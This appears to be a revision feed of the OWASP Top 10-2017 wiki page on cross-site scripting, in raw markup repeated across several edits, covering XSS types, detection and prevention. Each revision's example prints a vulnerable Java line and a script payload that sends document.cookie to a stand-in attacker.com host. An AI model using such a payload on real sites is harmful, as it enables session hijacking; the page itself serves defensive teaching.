Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
Preventing XSS requires separation of untrusted data from active browser content.&lt;br /&gt;
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; vulnerabilities. The &amp;lt;u&amp;gt;[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details on the required data escaping techniques.&lt;br /&gt;
# Applying context sensitive encoding when modifying the browser document on the client side acts against &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;.  &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details specific to client-side input processing.&lt;br /&gt;
# Enabling a &amp;lt;u&amp;gt;[https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)]&amp;lt;/u&amp;gt; and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}&lt;br /&gt;
The application generating response in &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.text/dashboard&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; uses untrusted data in the construction of the following HTML snippet without validation or escaping:&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&lt;br /&gt;
(String) page += &amp;quot;&amp;lt;input name='creditcard' type='TEXT'&amp;lt;br&amp;gt;value='&amp;quot; + &amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;request.getParameter(&amp;quot;CC&amp;quot;)&amp;lt;/span&amp;gt; + &amp;quot;'&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
The attacker manipulates the `CC' parameter to the following value &lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;#x27;&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;lt;br/&amp;gt;&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/cgi-bin/cookie.cgi?&amp;lt;br/&amp;gt;foo=&amp;amp;#x27;+document.cookie&amp;lt;/nowiki&amp;gt;&amp;amp;lt;/script&amp;amp;gt;&amp;amp;#x27;&lt;br /&gt;
&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
in the query string and sends the resulting link &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard?CC=...&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; with the malicious value to the victim.  Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link.  The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;amp;lt;input name='creditcard' type='TEXT'&amp;lt;br&amp;gt;value='&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;'&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;lt;br/&amp;gt;&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/cgi-bin/cookie.cgi?&amp;lt;/nowiki&amp;gt;&amp;lt;br/&amp;gt;foo=&amp;amp;#x27;+document.cookie&amp;amp;lt;/script&amp;gt;&amp;amp;#x27;&amp;lt;/span&amp;gt;&amp;amp;#x27;&amp;amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. &lt;br /&gt;
Note that attackers can also use XSS to defeat any  automated CSRF defense the application might employ. See &amp;lt;u&amp;gt;[[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]]&amp;lt;/u&amp;gt; for info on CSRF.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Types of Cross-Site Scripting]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]&amp;lt;/u&amp;gt;&amp;lt;!--- tab syntax for internal links including tabs: &amp;lt;link&amp;gt;#&amp;lt;tab-description&amp;gt; ---&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[AntiSamy | OWASP AntiSamy: Sanitization Library]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2013:BottomAdvancedTemplate&lt;br /&gt;
    |type={{Top_10_2010:StyleTemplate}}&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230157</id>
		<title>Top 10-2017 A7-Cross-Site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230157"/>
				<updated>2017-05-31T18:54:09Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: Correct the abuse scenario.  Change the style from prescriptive to descriptive to sustain the Burden of Proof.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2013:TopTemplate&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}&lt;br /&gt;
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
     &amp;lt;td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS) | XSS]]&amp;lt;/u&amp;gt; flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]]&amp;lt;/u&amp;gt; and (2) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]]&amp;lt;/u&amp;gt;, and each of these can occur on the a) &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server ]]&amp;lt;/u&amp;gt; or b) on the &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client]]&amp;lt;/u&amp;gt;. Detection of most &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]]&amp;lt;/u&amp;gt; flaws is fairly easy via testing or code analysis. &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]]&amp;lt;/u&amp;gt; is very difficult to identify.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;Consider the business value of the affected system and all the data it processes.&lt;br /&gt;
&lt;br /&gt;
Also consider the business impact of public exposure of the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
{{Top_10_2010:SummaryTableEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}&lt;br /&gt;
You are vulnerable to &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;. Ideally, you would avoid sending attacker-controllable data to &amp;lt;u&amp;gt;[[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]]&amp;lt;/u&amp;gt;, but escaping (and to a lesser extent) input validation can be used to make this safe.&lt;br /&gt;
&lt;br /&gt;
Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
Preventing XSS requires separation of untrusted data from active browser content.&lt;br /&gt;
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; vulnerabilities. The &amp;lt;u&amp;gt;[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details on the required data escaping techniques.&lt;br /&gt;
# Applying context sensitive encoding when modifying the browser document on the client side acts against &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;.  &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details specific to client-side input processing.&lt;br /&gt;
# Enabling a &amp;lt;u&amp;gt;[https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)]&amp;lt;/u&amp;gt; and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}&lt;br /&gt;
The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&lt;br /&gt;
(String) page += &amp;quot;&amp;lt;input name='creditcard' type='TEXT'&amp;lt;br&amp;gt;value='&amp;quot; + &amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;request.getParameter(&amp;quot;CC&amp;quot;)&amp;lt;/span&amp;gt; + &amp;quot;'&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
The attacker manipulates the `CC' parameter to the following value &lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;&lt;br /&gt;
'&amp;gt;&amp;lt;script&amp;gt;document.location=&amp;lt;br/&amp;gt;'&amp;lt;nowiki&amp;gt;h&amp;lt;/nowiki&amp;gt;ttp://www.attacker.com/cgi-bin/cookie.cgi?&amp;lt;br/&amp;gt;foo='+document.cookie&amp;lt;/script&amp;gt;'&lt;br /&gt;
&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
in the query string and sends the resulting link to the victim.  Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site.  The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;amp;lt;input name='creditcard' type='TEXT'&amp;lt;br&amp;gt;value='&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;'&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;lt;br/&amp;gt;&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/cgi-bin/cookie.cgi?&amp;lt;/nowiki&amp;gt;&amp;lt;br/&amp;gt;foo=&amp;amp;#x27;+document.cookie&amp;amp;lt;/script&amp;gt;&amp;amp;#x27;&amp;lt;/span&amp;gt;&amp;amp;#x27;&amp;amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. &lt;br /&gt;
Note that attackers can also use XSS to defeat any  automated CSRF defense the application might employ. See &amp;lt;u&amp;gt;[[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]]&amp;lt;/u&amp;gt; for info on CSRF.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Types of Cross-Site Scripting]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]&amp;lt;/u&amp;gt;&amp;lt;!--- tab syntax for internal links including tabs: &amp;lt;link&amp;gt;#&amp;lt;tab-description&amp;gt; ---&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[AntiSamy | OWASP AntiSamy: Sanitization Library]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2013:BottomAdvancedTemplate&lt;br /&gt;
    |type={{Top_10_2010:StyleTemplate}}&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230156</id>
		<title>Top 10-2017 A7-Cross-Site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230156"/>
				<updated>2017-05-31T18:40:03Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: Correct the abuse scenario.  Change the style from prescriptive to descriptive to sustain the Burden of Proof.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2013:TopTemplate&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}&lt;br /&gt;
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
     &amp;lt;td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS) | XSS]]&amp;lt;/u&amp;gt; flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]]&amp;lt;/u&amp;gt; and (2) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]]&amp;lt;/u&amp;gt;, and each of these can occur on the a) &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server ]]&amp;lt;/u&amp;gt; or b) on the &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client]]&amp;lt;/u&amp;gt;. Detection of most &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]]&amp;lt;/u&amp;gt; flaws is fairly easy via testing or code analysis. &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]]&amp;lt;/u&amp;gt; is very difficult to identify.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;Consider the business value of the affected system and all the data it processes.&lt;br /&gt;
&lt;br /&gt;
Also consider the business impact of public exposure of the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
{{Top_10_2010:SummaryTableEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}&lt;br /&gt;
You are vulnerable to &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;. Ideally, you would avoid sending attacker-controllable data to &amp;lt;u&amp;gt;[[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]]&amp;lt;/u&amp;gt;, but escaping (and to a lesser extent) input validation can be used to make this safe.&lt;br /&gt;
&lt;br /&gt;
Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
Preventing XSS requires separation of untrusted data from active browser content.&lt;br /&gt;
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; vulnerabilities. The &amp;lt;u&amp;gt;[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details on the required data escaping techniques.&lt;br /&gt;
# Applying context sensitive encoding when modifying the browser document on the client side acts against &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;.  &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details specific to client-side input processing.&lt;br /&gt;
# Enabling a &amp;lt;u&amp;gt;[https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)]&amp;lt;/u&amp;gt; and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}&lt;br /&gt;
The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;&lt;br /&gt;
(String) page += &amp;quot;&amp;lt;input name='creditcard' type='TEXT'&amp;lt;br&amp;gt;value='&amp;quot; + request.getParameter(&amp;quot;CC&amp;quot;) + &amp;quot;'&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
The attacker manipulates the `CC' parameter in the query string and sends the link to the victim.  Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;&lt;br /&gt;
'&amp;gt;&amp;lt;script&amp;gt;document.location=&amp;lt;br/&amp;gt;'&amp;lt;nowiki&amp;gt;h&amp;lt;/nowiki&amp;gt;ttp://www.attacker.com/cgi-bin/cookie.cgi?&amp;lt;br/&amp;gt;foo='+document.cookie&amp;lt;/script&amp;gt;'.&lt;br /&gt;
&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. &lt;br /&gt;
